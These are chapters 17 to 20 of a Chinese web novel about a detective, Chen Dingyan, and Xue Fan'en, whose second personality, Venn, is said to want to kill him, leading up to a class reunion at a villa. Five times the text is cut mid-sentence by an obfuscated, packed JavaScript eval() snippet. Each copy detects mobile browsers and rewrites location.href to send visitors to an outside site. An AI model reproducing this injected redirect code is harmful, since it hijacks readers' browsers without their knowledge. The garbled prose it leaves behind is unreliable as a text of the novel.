她不知道这个自称是高中同学的人说得到底是不是真的,但她承认她有点在意这件事了。 高中同学卓茂城在电话里叹气:“算了,也不是什么要紧事,你要是不想来也算了。” 陈定言皱了皱眉:“你把时间和地址发给我。” 挂掉电话后,两分钟内,一条短信发送到了她的手机上。 【5月6日-7日,6日下午两点集合,地点:半山岭别墅C座,4号晚上23点之前回复以便统计人数。】 陈定言走进烤串店内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502951|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次她径直在薛繁恩对面坐下,把手机拿给他看:“这个同学会,你知道吗?” 薛繁恩看了一眼那条短信的内容:“我知道,他们说你会参加,所以我也去。” 陈定言郁闷:“……” 这是什么古早圈套,这家伙居然也会踏进去。 这就跟那个古老的空手套白狼笑话“对世界首富说我是世界银行副总裁,对世界银行总裁说我是世界首富的女婿”有异曲同工之妙。 陈定言摁掉手机屏幕,郑重地叮嘱他:“你不要去,因为我不会去。” 薛繁恩的嘴角又翘起来了,他压着笑意,把头扭向另一侧,手摸着后脖颈,这是他感到害羞时的标准动作。 同时,他的嘴却硬得要死,冷哼了一声:“为什么?和你无关吧?” 陈定言看他欲盖弥彰的样子居然觉得有点好笑,但为了保持严肃还是生生地压下去了。 她注视着他:“不要赌气,听说有人要杀你。” 薛繁恩愣了一下,他脸上的笑意逐渐淡下来。 陈定言见他表情发生了变化,意识到这件事有可能是真的,她自己也有点紧张起来了。 薛繁恩低下眼,打开手机照片,他犹豫了片刻,终于还是把手机推到了她面前。 陈定言凑近看那张照片。 出乎她意料的是,照片上并不是恐吓信、也不是血淋淋的威胁场景,而是一张医院诊疗报告单。 【分离性身份识别障碍,出现两个自我状态,轮流主导个体行为。】 报告单上患者明确写着是薛繁恩。 诊断结果是双重人格。 陈定言感到自己的世界观受到了冲击,她说不出话来。 她私下里给他贴了个“作精”的标签,但薛繁恩“作精”的真正原因,竟然是因为双重人格吗? 薛繁恩没有和她对视。 他垂着眼,平静地道:“如果有人要杀我的话,我只能想到这个。医生说近期另一个人格正在尝试杀死我。” “高中的时候我一直都不理你,包括前几天我没有联系你,不是我故意闹脾气,而是因为另一个人格觉得我黏着你太不要脸了。” 17. 第 17 章 陈定言的记忆在这时相当顽强地起死回生,而且是和她脑内的线索回溯机制一起运行的。 她想起来,高中时期她和薛繁恩的最后一次对话。 那时薛繁恩的语气和表情都有点古怪,他问她:“我知道情书不是你写的,但你就那么讨厌我吗?我那时只是找了个借口向你告白而已。” 之后,在她回答完后,薛繁恩的脸色一下子阴沉下来,整个人的气质都变得凌厉,他回头就走了。 再回想起这段的时候,她手心都冒出了冷汗。 陈定言试图让自己平静下来。 她认识的薛繁恩并不是真正的薛繁恩,而是两个人格交错在一起形成的性格。一想到这个事实,她就有种“我是谁我在哪”的茫然无措。 她尝试着打破尴尬的气氛,压低声音问:“你的第二人格,是不是很凶?” 薛繁恩的瞳孔微微缩了缩:“我不在的时候,他对你很凶吗?” 烤串店里人来人往的,那个刚才来问薛繁恩的服务员也不断地往这边张望。 陈定言抓紧时间把烤串吃完,随时准备转移场地:“你们两个难道没有对过账吗?” 两个人格之间的记忆通常并不共享,陈定言对此有心理准备。 但是按照薛繁恩转换自如的状态,应当有两种可能:1、或者存在一个强势人格可以窥探记忆,2、两个人格用某种手段进行了交流。 薛繁恩听到“对账”的时候愣了一下,随后他会意:“我会在本子上记录下需要注意的点,更细节的东西当然不会知道。” 陈定言终于赶着时间吃完了烤串。 她扯出纸巾擦了擦手,拉着薛繁恩离开烤串店,去了附近公园没人的凉亭里,继续那个话题。 两人坐在平时老头老太用来下棋的石桌的两侧交谈着。 薛繁恩的父亲是中德混血,在薛繁恩十二岁之前,他一直住在德国南部的乡间庄园里,庄园里的主要建筑是一栋一战前建造的古老别墅。 八岁那年,母亲因为车祸死亡,只剩下脑子不清楚的祖母、工作繁忙的父亲和他在这个气氛阴森的乡间庄园里,因为孤独和恐惧,薛繁恩发展出了第二人格。 十二岁,父亲再婚后,薛繁恩的外公外婆将薛繁恩接回了国内,第二人格的出现频次也降低了。 第二人格的名字是“凡恩”,是为了对抗恐惧而产生的性格强势自我的人格。 陈定言思忖道:“那以前,到底是哪个人格来找我的?” 薛繁恩观察着她的反应:“大部分时间都是我,凡恩偶尔会出现。” 陈定言喝了一口果汁压压惊。 薛繁恩抬起手松松地捂住了自己的半边脸,遮掩住自己苦恼的表情,装作若无其事,语气散漫地道: “有一天凡恩和我立法三章,他要求我不能主动找你,除非你自己来找我,否则他就会抢走我的身体支配权。” “所以那次,你们到底聊了什么?” 陈定言一口刚喝下去的果汁差点呛进气管里。 如果“只是找了个借口向你告白而已”那句话果真是凡恩说的,而不是薛繁恩说的,那么薛繁恩是不是根本没有意识到他的第二人格出卖了他? 她紧急造谣:“……我表现得很坏,全方面的坏,凡恩不想再看见我了,所以他要你不能主动联系我,然后我这个没心没肺的坏蛋果然没有再和你说话,应该就是这样。” 薛繁恩半信半疑地盯着她:“真的?” 陈定言举手发誓:“真的,你随便问一个熟悉我的人就知道我五行缺德。但是,你居然那么听凡恩的话?” 薛繁恩轻吸了一口气,垂下眼,低声道:“我尝试过联系你,但到了关键时刻都会被他夺走身体控制权。” 作为生来就是为了抵抗恐惧的人格,凡恩的性格强势,意志力量也较强,应该能窥视到一些主导人格的意识状态。 陈定言顿了顿:“既然这样,为什么那天要我的联系方式?” 薛繁恩的手肘支在桌上,身体微微向前倾着,双手交扣在一起,手指攥紧了。 他嘴唇的线条绷紧了一些:“最近凡恩在计划杀死我,我必须尝试摆脱他的控制。” 听到这里,陈定言脑内一切关于薛繁恩“作精”“莫名其妙”的谜团就解开了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502952|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她居然感到有些释然。她以前对薛繁恩有过一丁点好感,但是她坚决不考虑和他待在一起的原因正是因为他太让人摸不清头脑了,情绪不稳定的对象不能要。 现在,面对眼前这个“作精”的时候,陈定言的身体姿态放松了一些,心理防线也卸下了不少。 她往后靠在椅背上:“同学会你还去吗?” 没想到薛繁恩却道:“我会去的。” 陈定言用手指关节敲了敲面前的石桌,就当是敲了敲薛繁恩的脑瓜:“为什么?那种场合一听就很危险。” 别墅,过夜派对,同学会,简直就是那什么谋杀案标配。更何况,薛繁恩的童年阴影正是来自于乡间庄园那栋古老别墅,这不是给第二人格凡恩提供了燃料吗? 薛繁恩发现她疑似在关心他,嘴角又不争气地翘了起来。 他做了一下表情管理,这才答道:“那个打电话给你的人,不是说有人要杀我吗?我想搞清楚真相。” 陈定言不理解:“那不是更危险了?” 那个叫卓茂城的高中同学打电话过来对她说,有人要杀薛繁恩——正常情况下,卓茂城理应不会知道关于薛繁恩第二人格的事。 也就是说,有可能存在现实中的某个人想杀薛繁恩。 薛繁恩压着嘴角,抬眼看向她:“你在担心我。” 陈定言心想都这个关头了这家伙居然还有时间在这里唧唧歪歪。 她拍桌:“我不担心你会被杀,我担心你的第二人格跑出来把对方杀了。” 薛繁恩正要回答,忽然想到如果他坚持要去的话,她出于职业道德和担心说不定会一起去,帮助他查真相。但是她如果一起去的话,她也会身陷险境。 尽管这还只是他的脑内幻想,但他必须遏止所有带有危险因素的发展。 我不去了。他想这么说。 就在这时,薛繁恩感到太阳穴传来刺痛,抬手按了一下。 几秒后,他松开手。 虽然表情没有太大的变化,但是眼神中的情绪已发生了转变,从容而冷沉,带着一丝无法探明的戏谑。 “一起去怎么样?” 18. 第 18 章 陈定言一下子就意识到了:眼前的人是“凡恩”。 她问:“你是他的第二人格?” 虽然是同样的身体,但眼前的男人显然和薛繁恩完全不同。那头乌黑浓密的卷发不再成为活泼俊朗的标志,而是和深邃的眉眼一起构成了阴冷森然的气质。 “Venn.”他简短地介绍自己。 Venn,在低地德语地区指沼泽地,用“沼泽地”来形容他倒是再贴切不过了。 陈定言想再喝一口果汁压压惊,但是发现瓶子里没有果汁了,只能放下瓶子,装作很忙的样子看向凉亭外。 薛繁恩拥有双重人格这种设定也太欧·亨利了,意料之外情理之中,虽然完美解释了他令人捉摸不透的性格,但对于她来说,毕竟这从来只是在文艺作品中才见过的设定。 “Venn,无论我怎么回答,你都会去参加同学会的对吧?”她问。 凡恩志在必得地微微笑道:“是。” 陈定言领会到了他的深层意思:“所以你现在打算用主人格的生命要挟我?” 凡恩毫不掩饰:“嗯。” 陈定言第一次觉得薛繁恩顺眼,他可比眼前这个名叫凡恩的第二人格顺眼多了。 凡恩这个人格非常欠缺一记铁拳。 她搞不懂凡恩为什么非要杀掉主人格,她更不明白凡恩为什么要她一起去参加同学会,她也问不出来。 凡恩不动声色地道:“现在我不会和你解释,到时候找机会跟你说。” 陈定言冷哼:“你觉得我是那种好奇心过剩的人吗?” 凡恩的身体自然地往前探了探,凑近看了她几眼:“我觉得是。” 陈定言对这种刻板印象不想说什么。 她从凉亭的石凳上起身:“今天晚上给答复,我先走了。” …… 吃完晚饭后,陈定言再拖延也必须面对“给出答复”这个议题了。 她越想越气,对着空气一顿挥拳。 “遇到讨厌的人了?”裴勉知靠在门框边。 她收回挥拳的手:“谁说不是呢。” 陈定言把薛繁恩、凡恩和同学会的事杂糅在一起,略过了她吃烤串那一部分,详细地解释了一遍。 裴勉知听了却有些兴致缺缺,他皱起眉:“你自己做决定,问我干什么?” 陈定言有些莫名其妙:“不是你问我我才跟你说的吗?” 裴勉知别过头:“抱歉,我忘了。” 陈定言摆手:“先把薛繁恩的事放到一边去,就说那个同学会吧。同学会这种场合非要叫上侦探,按照套路来说一般是利用我做不在场证明。” 这种委托她接得多了,侦探就是块砖,哪里需要往哪里搬。甚至在上一个“笔友小三”案件中,委托侦探寻人也是故意设计的一环。 她愤慨地道:“但是像这样不签合同,不给委托费,光是以同学会的名义把我钓过去,万一我受了伤或者意外闯祸该找哪个保险公司赔?” “职责范围内的我绝对会管,今天暴风雪山庄明天恐怖游轮,我都会去。但是非职责范围内的,我一点兴趣都没有。” 听到这里,裴勉知点头表示赞同。 他作为陈定言的首席参谋,总算开始在今天的议题里发挥作用:“如果你真的放心不下,你让薛繁恩签个委托合同,顺便带上我。” 陈定言呆:“嗯?” 裴勉知抬眼看着她:“我不也是你的同学吗?” 陈定言愣了一下。 好像是这个道理。既然不是同一个班的薛繁恩都能被请去参加这次同学会,那么不是同一个班的裴勉知当然也可以。 她又问:“但是外婆怎么办?我们都走的话,6号下午她就得一个人在这里了。” 裴勉知主动妥协:“我晚上再过来和你们集合。” 陈定言觉得这是个好办法。 她一刻也不耽误,立即开始拟委托合同,写完之后发给薛繁恩,然后又回复那个组织同学会的卓茂城。 薛繁恩倒是立刻回复:【好。】 这次同学会的组织人卓茂城有点吃惊:【裴勉知?他哪个班的?】 陈定言回复:【不用管哪个班的,就算是跟我一起来的。】 …… 6号当天下午。 陈定言早早到达了集合地点。 她是来提前视察熟悉地形的,因此比其他人到得都早,表面上她拿起手机拍风景照,实则暗暗计算着逃跑路线、潜在危险因素。 半山岭别墅是一个位于半山腰的高端住宅区,别墅由拥有者自主设计,总共有八栋别墅,分别是A-H座,别墅与别墅之间距离相当远,只能站在山边的观景台上看到其他的邻居,给足了富人们自由活动和隐私的空间。 C座是一栋现代欧式别墅,三层高带地下室,房子大得并不夸张,但周围的环境很宽敞,游泳池、花园、球场一应俱全。 过来迎接她的却不是电话里那个男人卓茂城,而是一个穿着白衬衫的女人。 白衬衫女人的举止很温和:“你来得太早了,他们还没来,可以到处看看。” 陈定言隐约记得她:“权舒云?” 白衬衫女人笑:“是啊,你还记得我?之前卓茂城跟我说的时候,我还以为你不来呢。” 如果这栋超级阔佬的别墅是权舒云的,那就好解释了。权舒云以前是她们班的班长,家里有钱,成绩又好,她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505289|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是阔佬谁是阔佬。 陈定言反应过来:“这个房子是你家的,不是那个什么卓茂城的,是吧?” 权舒云有些腼腆地笑着:“对,我不知道怎么开口,就让他帮我叫人了。因为是我新买的房子,想旺一下人气,就想到我们或许应该搞个同学会。” 听到这里,还在艰辛还房贷的陈定言多少有点莫名的心酸。 说话间,另一辆车也到了。 权舒云上前指挥他们把车停好,和他们寒暄了几句。 下车来的是一对情侣,看起来感情相当不错,手拉着手向院子里走来。 陈定言眯着眼睛使劲看。 说实话她有点不记得这些同学了,最多有个面熟,像权舒云那种记得全名的算是奇迹。 “何飞鸣,魏静?”权舒云叫出两人的名字。 那一对情侣中的女人道:“班长,你记性也太好了。” 男人则环顾四周:“班长你发达了呀,这么大的房子全款买下!” 权舒云真心地为这对校园情侣感到高兴:“你们两个还在一起,太好了。” 等那对从校服到婚纱的情侣走到陈定言面前,陈定言慌神了。 这俩是谁来着?何静?魏明? 那个女人:“陈定言,那几个案子我都有听说过,你现在是超级有名的侦探了!” 陈定言一副“我天生就高冷”的样子,保持微笑和这对情侣握手:“瞎蒙的。” 她真的不记得了。这些同学都谁啊。 她怎么觉得高中过得像失忆了一样呢。 好在这对情侣没有和她多说话,而是手挽着手去参观别墅的其他地方了。 片刻后,薛繁恩也到了。 陈定言坐在花园的椅子上,女主人权舒云提供了她圈圈肠、鱼蛋粉和水果,她正忙着吃。 薛繁恩把车停在车库后,径直朝陈定言走来。 他拉过一把白色椅子,坐到她旁边,顺手就从她面前的盘子里捏起一根扎着菠萝的牙签,把菠萝送进嘴里。 陈定言提醒他:“Venn,你还没跟屋子的主人打过招呼,不礼貌,不要给你的主人格招黑。” 他瞥了她一眼,眼神有些探究:“你认得出我?” 陈定言无语:“这很明显。” 凡恩的目光就像沼泽地一样黏腻抓人而透着冰冷,他讽刺地道:“那你以前怎么没有察觉到我的存在?” 说到“以前”,陈定言手握成拳头,开始蓄力。 这家伙以前不知道用薛繁恩的身份诓了她多少次,她记不起来了,只能记得最后那次对话了。 她冷笑:“因为你以前还会假装自己是主人格,你现在是装都不装了。” 19. 第 19 章 陈定言身体往旁边微微侧了侧,把手挡在嘴边遮住嘴型,压低声音: “你有空在这里跟我斗嘴,不如去认识一下今天来这里的人,找找到底是谁要杀你。” 耳朵上拂过的气息让凡恩有点不自在,他皱眉:“别靠那么近。我不是薛繁恩,我不喜欢你。” 陈定言立刻把椅子移动到稍远的地方,啧了一声:“那最好了,我们保持两米以上距离。” 凡恩给她一个后脑勺表明他的态度,沉默着不知道在思考什么。 陈定言忙着享受美食,没工夫管他,以为他自己会去找潜在凶手。 凡恩结束了他的思考,又来恶鬼索命了,他一副讨债佬的模样盯着她:“我们之间有委托协议,调查的事你也要参与。” 陈定言理所当然地道:“我们分头行动。” 凡恩握住她的小臂,把她从椅子上拽起来,脸色阴冷:“休想偷懒,一起。” 陈定言就知道凡恩是个没什么尊重精神的坏家伙,尽管如此她还是高估了他的人性。 他仗着那具高大有力的身体,手臂一揽,将她挟在身边往人多的地方走去。 “喂,注意距离。” 陈定言试图把他的手扯开,手按在他鼓起的手臂肌肉上时却想到了一个办法。 经过刚才那一遭,她算是明白了凡恩的双标行为:她的靠近会让他感到不适,但他如果是自己主动的话就会忽略不计。 妙计在手的陈定言顺手就捏了一把他的手臂,虽然她有点估算错误,没想到发力状态下的肌肉超过想象得坚硬紧实。 凡恩浑身僵住了,睫毛微微颤抖了一下,扭过头闭上眼。 …… 下一瞬,薛繁恩再次睁开眼时发现自己正搂着她,差点吓得脚下一绊。 他的耳朵颜色深了一点,却又意识到有什么地方不对劲:“你们刚才在做什么?” 陈定言感觉到了异样,反应过来第二人格已经逃回去了,现在出现在她面前的是主人格薛繁恩。 她压下那种莫名的被捉奸的诡异既视感,委婉地解释道:“我们打算装成关系很好的情侣去调查今天来这里的人。” 这倒是真的。如果没关系的两人突然凑在一起去问东问西,绝对会引起其他人注意,但如果扮成情侣去刨根问底地问,就显得正常多了。 薛繁恩接受了这个理由,不过他觉得这种搂腰的姿势有点不好意思,便改成了拉手。 没有对比就没有伤害,陈定言居然开始觉得薛繁恩的主人格顺眼得要命。 她自然地牵着他的手,两人扮成刚开始恋情的情侣前往调查在场的人员。 除了最开始那对校园情侣外,今天来参加同学会的还有闺蜜两人。 陶慧茵和付雪这两个要好的朋友是一起来的。 陶慧茵烫着大波浪卷,妆容张扬。付雪只化了淡妆,脸上的笑意也淡淡的。 陶慧茵把手搁在付雪的肩膀上,看向陈定言,开着玩笑话:“嚯,陈定言,你们两个还真在一起了?我说怎么今天有别班的同学呢。” 薛繁恩一只手牵着陈定言,另一只手不知道往哪里放,光是管理好表情就耗费了他全部的精力,他有些无措。 和他比起来,陈定言显得游刃有余,她礼貌地答道:“刚开始。” 陶慧茵扫过薛繁恩的身材,调侃道:“陈定言你可吃真好啊。” 付雪拍了拍陶慧茵搭在她肩膀上的手:“我去一下洗手间。” 陶慧茵神色里闪过一丝不耐烦,松开手的时候稍微推了付雪一把,脸上仍然挂着笑意:“去吧去吧。” 陈定言眼尖地看到了这一幕,在心里记下: 【陶慧茵(大波浪卷),付雪(淡妆小碎花),疑似塑料姐妹情。】 别墅主人权舒云在花园里打电话给卓茂城:“你怎么还没来?人都到齐了。” 电话那头,负责邀请同学的卓茂城笑道:“我临时有事不来了。我本来按照你的打算,至少请个二十个同学,没想到他们一个个的都推辞了,现在只到了九个人,我这个邀请的也不好意思啊,没脸见你了。” 权舒云环顾四周:“没关系的,大家都忙,有九个人已经很不错了,能玩得开心就好,我不太会搞气氛,你真的不来吗?” 电话那头卓茂城推脱道:“不来了,现在你们那里算上你总共十个人,我就不来破坏这个整数了。” 【邀请人卓茂城(提出线索者),无故缺席。】 “卓茂城不来啊?”西装笔挺的男人名叫赵观。 权舒云放下手机叹气道:“他好像有事,可惜了。” 赵观走近权舒云,脸上挂着笑:“班长,你要说组织活动的话,我可很在行,今晚安排了啥?我看看。” 权舒云虽说当了两年班长,但她还是更愿意做幕后的组织和准备工作,对于调动气氛挑起话题这种活儿实在不是很喜欢。 权舒云很乐意将这个气氛组的活交给赵观:“就是露天烧烤和晚上的K歌和游戏环节,可以吗?” 赵观哈哈笑道:“OK!你看我都穿了西装来了,今天注定是要成为主持人的。” 【赵观(西装男),自告奋勇组织活动。】 另一个戴着黑框眼镜的男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512519|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名叫林宏,他扶了扶眼镜,自作幽默地道:“班长,你请大家来,不会是让我们帮你吸甲醛吧?” 赵观用手点了点,笑着道:“你别说,你真别说,新房子要开派对的原因是什么?不就是让朋友过来吸点甲醛再走吗?其他什么乱七八糟的都不如人类吸甲醛厉害。” 那对校园情侣也哈哈笑起来:“那可太费朋友了。” 权舒云有点尴尬:“没有,没有那种事。” 烧烤从下午就开始了。 露天烧烤场地就在花园的观景平台边,草坪上装着地灯,烧烤用的桌椅也都齐全,还可以到观景台眺望半山腰的风景。 权舒云把音响搬了过来:“有什么想听的歌可以提出来。” 赵观起哄道:“我去,班长你这音响牌子,有实力啊!” 虽然人数不多,但加上闹腾的音乐节奏和烧烤的烟气,草坪上一会儿就变得乌烟瘴气闹哄哄的了。 陈定言扫视四周说笑的同学。 总体观察下来,她觉得每个人都有那么一点可疑,但每个人又都没有动机。 那个预谋杀人案到底是怎么回事,她还是没有头绪。 权舒云过来担心地问陈定言:“裴勉知怎么还不来?” 陈定言看了一眼时间:“他要晚上才来。” 权舒云点头:“那我们给他多烤一点。” 陈定言想到了最近她的锻炼计划,裴勉知那个魔鬼训练教官的形象自然而然地在她面前浮现。 前几天才吃过烤串的陈定言心虚摆手:“不用,他生活方式很健康的,不吃烧烤。” 薛繁恩把烤好的里脊肉串递给她。 权舒云看着两人的互动,笑:“好好,我不打扰你们了。” 问完关于裴勉知的事,权舒云走开了。 薛繁恩看着陈定言,视线灼灼地期待着她的反应:“怎么样?” 陈定言却没有评价孜然和烤肉的质量,而是悄悄夸奖他道:“你比凡恩好上几千倍。” 她说的是真话,她甚至决定等会就和薛繁恩一起说第二人格凡恩的坏话,并帮他出谋划策。 她话音刚落,薛繁恩还没来得及暗爽,就有种不太好的预感。 “是吗?” 幽冷的视线落在她身上,再次出来控制身体的凡恩冷眼睨着她。 陈定言脸上的笑容消失,但这次她没有以往那么镇定了。 她急了。 破防的陈定言双手按住凡恩使劲摇晃,试图把这个第二人格晃回去: “你会烤肉吗你就出来?回去,至少等我吃饱喝足了再出来!” 20. 第 20 章 凡恩不信邪地尝试着烤了几次,最终都以失败告终,他把罪责都推到了烤架上。 陈定言叹为观止:“你的手笨程度就相当于五个我加起来。” 她深刻怀疑是不是因为凡恩作为第二人格,平时不常操控身体,所以还不太熟悉这具身体,所以才会如此手笨。 凡恩对于她为了骂他甚至不惜骂自己的行为表示无语,他转身走开了,留给她一个高冷的背影。 陈定言以为他是生气了。 没想到几分钟后,凡恩回来了,手上还多了一大捧烤好的烤串作为战利品。 “你去抢了。”她一针见血地指出来。 凡恩面无表情地把那些烤串分了一半给她:“是他们自愿给的。” 陈定言还是要脸的,她自己又勤勤恳恳地烤了一批让凡恩还给其他同学。 那边其他同学边烧烤边K歌相当热闹,有人冲两人喊:“喂,陈定言,你们俩在那里要说多久的悄悄话?过来唱歌啊!” “别打扰他们了,没看到人小情侣自带结界嘛,有没有眼力见?” 这边吃累了的陈定言和凡恩两人各自坐在椅子上,有一搭没一搭地说着话。 陈定言问:“你真的不把控制权还给薛繁恩吗?” 凡恩懒洋洋地撩起眼皮:“为什么要还给他?如果他有本事,就从我手中夺。” 陈定言侧过脸看他。 他那个皮囊确实是可盐可甜,薛繁恩双眸明亮仿佛有用不完的精力,凡恩则带着一股阴冷的死气,像刚从古宅里走出来的吸血鬼。 她追问:“既然你已经占了上风,为什么还要杀了薛繁恩?” 凡恩表情冷漠地道:“我说了之后会对你解释,不要急。” 虽然凡恩性格恶劣,但陈定言总算是拼命从他那堆积如山的缺点中找到了一个优点:他有问必答,即使不给出答案也会模棱两可地说几句废话,这说明他还不是坏到无药可救。 不过,凡恩暂时似乎没有让主人格出来的意思了。 就算陈定言故技重施,用肢体接触试图逼走他,他也不再妥协,牢牢握着身体控制权。 关于薛繁恩和凡恩两个人格之间的争斗,陈定言也只能再想办法,她毕竟不是心理医生,遇到这种事一个头两个大。 裴勉知给陈定言发消息要迟一点到。 【裴勉知】:都还好吗? 【裴勉知】:外婆还在事务所,应该是她外孙临时要加班,看来我要迟一点到了,有事给我打电话。 烧烤差不多结束了,众人收拾好东西,陆续往屋里搬。 天色也已经晚了,从观景台看出去半山腰上的树颜色已经从深绿色变成了黑色,鬼气森森的一大片。 天黑以后众人就进屋继续狂欢,开始游戏环节。 陈定言感觉自己的精力已经耗尽了,看到还在大声叫嚷的其他人,打心底里佩服他们。 这就是五一假期放得扎扎实实的含金量吗? 作为私人侦探,她在假期的委托反而更多,因为案件会更多,所以算起来她是三百六十五天一年到头都没有真正的休息日,只有“没有委托的日子”。 她眼皮耷拉着,向权舒云报告:“班长,我先去睡一觉,吃太饱有点晕碳了。” 权舒云笑着:“说实话我也有点累了,我跟大家说一声。” 说着,权舒云转向其他人:“我们本来就是来玩的,大家有累了的可以自己去房间里休息。” 付雪看向陶慧茵:“茵茵,我去睡一觉。” 陶慧茵翻了个白眼:“去吧去吧,真受不了你们低精力人群,等会醒来记得来玩,不然一觉睡到天亮就太扫兴了。” 陈定言看向凡恩,这家伙是个不安定因素。 她想了想,最终还是决定提出来:“为了防止你乱来,你跟我一起回去休息。” 凡恩意外地没有反驳,懒散地跟在她身后回房间。 两人的房间都在二楼,隔了一堵墙。 陈定言定了个二十分钟的闹钟,时间到了就起床,然后去隔壁房间敲门叫凡恩。 好一会儿,凡恩才来开门。 他看起来有点虚弱,手撑着门框,一副脱力的模样,胸膛微微上下起伏地呼吸着。 陈定言想起了那个杀人预谋。 她连忙扶住他:“你没问题吧?有中毒的迹象吗?” 凡恩的目光转向她,他的身体朝她这边靠了一下,手揽住了她的肩膀作为支撑,他喘着气,冷笑道:“不用……这么诅咒我吧?” 他把身体的一部分重量倚在了她身上,陈定言几乎被压得身形矮了一截,她狼狈地把他搀进屋内。 “到底怎么回事?” 她侧过头看向他,忽然注意到他看向她的眼神有些不一样,明亮而带着疲惫的笑意。 她愣了一下:“薛繁恩?” 他的嘴角微微上翘,点了点头。 瞬间,他又痛苦地皱起眉,大口呼吸着,手上的力道也加大了。 “你最好认清到底是谁。”他的声音低哑冰冷。 这是凡恩。 这下不用问他,陈定言就懂了。 不是因为外部因素,而是因为薛繁恩体内的两个人格在争夺身体控制权。 她搀扶着他进屋坐下,总算把身上的大山卸下来了:“你们就不能和平相处吗?像以前那样。反正对我来说都一样,我以前认识的薛繁恩就是一个混合体,都忍了那么久了,再忍忍也没事。” 凡恩似乎获得了暂时的胜利,他的舌尖磨了磨牙齿,脸上闪过讽刺的神色:“你得问薛繁恩。他认为我抢了和你相处的时间。” 陈定言张了张唇,不知道该说点什么,只能假装掉线了。 …… 房间之外,客厅里正在进行游戏环节。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516852|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵观手里拿着之前卓茂城设计好的写了台词的纸张,正在对照着问众人:“你们有看过《完美陌生人》不?” 见陈定言和凡恩二人走过来,赵观连忙朝两人招手:“你们来得正好,我们还没开始呢,还在念规则。” 陈定言坐下,凡恩在她身边坐下。 经历了刚才那一遭,凡恩没那么多精力了,竟看起来也稍微乖顺了一点。 “我们每个人把手机放在桌上,来电、短信、微信消息都要当众念出来,这就是我们今天的真话环节。”赵观念道。 陶慧茵第一个笑了出来:“刺激啊,赵观你自己难道就不怕吗?” 赵观看起来有点无奈:“这也不是我设计的游戏,再说了我能有什么不可告人的事,玩就玩。” 魏静提出异议:“我看过那部电影,这可不是什么好游戏,一群朋友都吵翻了,我们真要玩这个吗?” 何飞鸣搂住魏静的腰:“老婆,难道你瞒着我有秘密?” 林宏摇了摇头:“禁止随地大小秀恩爱!要说多少遍。” 陈定言紧急拿出手机刷了一遍,满意地发现自己是个良好市民,没什么拿不出手的。 凡恩看都不看,直接把手机放在桌上。 陈定言看着他潇洒的动作暗自思忖:反正丢人的也不是你是吧?真有你的。 虽然电影里的游戏并不愉快,但耐不住众人八卦的心熊熊燃烧,料想着不会有这么抓马的事发生。 于是,窥探别人隐私的好奇心胜过了分享隐私的恐惧,游戏正式开始了。 第一个来电话的是何飞鸣的手机。 何飞鸣还来不及看来电显示,妻子魏静立刻拿起他的手机,接起来打开免提,把声音外放。 何飞鸣在众目睽睽下脸色有点尴尬,对电话那头的人道:“怎么了?有什么事?有什么事快说。” 那女人的语气带着点撒娇:“你今天这语气是怎么回事,我不能没事想你啊?” 电话那头的话一出,何飞鸣的脸都绿了。 主持人赵观见状不妙,总觉得接下来会揭开什么大秘密,他一个健步冲过去,对何飞鸣的手机道:“我们在同学聚会!” 电话那头沉寂了。 现场的氛围有点微妙。 没想到刚才还提出异议的魏静此刻却很释然:“我不在意,我早就知道了,现在丢人的反正不是我,也没关系了。游戏我们可以继续玩。” 